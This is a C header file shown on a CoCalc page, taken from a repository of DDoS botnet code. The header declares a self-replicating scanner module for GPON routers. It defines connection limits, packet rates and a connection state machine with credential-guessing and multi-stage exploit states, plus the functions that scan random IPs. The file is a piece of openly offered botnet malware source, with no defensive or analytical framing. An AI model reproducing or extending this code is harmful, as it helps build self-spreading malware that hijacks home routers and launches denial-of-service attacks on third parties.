Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Self Reps/GPON/gpon443.h
5038 views
1
#ifdef SELFREP
2
#pragma once
3
#include <stdint.h>
4
#include "includes.h"
5
6
#ifdef DEBUG
7
#define GPON443_SCANNER_MAX_CONNS 3
8
#define GPON443_SCANNER_RAW_PPS 788
9
#else
10
#define GPON443_SCANNER_MAX_CONNS 256
11
#define GPON443_SCANNER_RAW_PPS 788
12
#endif
13
14
#define GPON443_SCANNER_RDBUF_SIZE 1080
15
#define GPON443_SCANNER_HACK_DRAIN 64
16
17
struct gpon443_scanner_connection
18
{
19
int fd, last_recv;
20
enum
21
{
22
GPON443_SC_CLOSED,
23
GPON443_SC_CONNECTING,
24
GPON443_SC_GET_CREDENTIALS,
25
GPON443_SC_EXPLOIT_STAGE2,
26
GPON443_SC_EXPLOIT_STAGE3,
27
} state;
28
ipv4_t dst_addr;
29
uint16_t dst_port;
30
int rdbuf_pos;
31
char rdbuf[GPON443_SCANNER_RDBUF_SIZE];
32
char **credentials;
33
char payload_buf[5000], payload_buf2[5000];
34
int credential_index;
35
};
36
37
void gpon443_scanner();
38
void gpon443_kill(void);
39
40
static void gpon443_setup_connection(struct gpon443_scanner_connection *);
41
static ipv4_t get_random_gpon443_ip(void);
42
43
#endif
44
45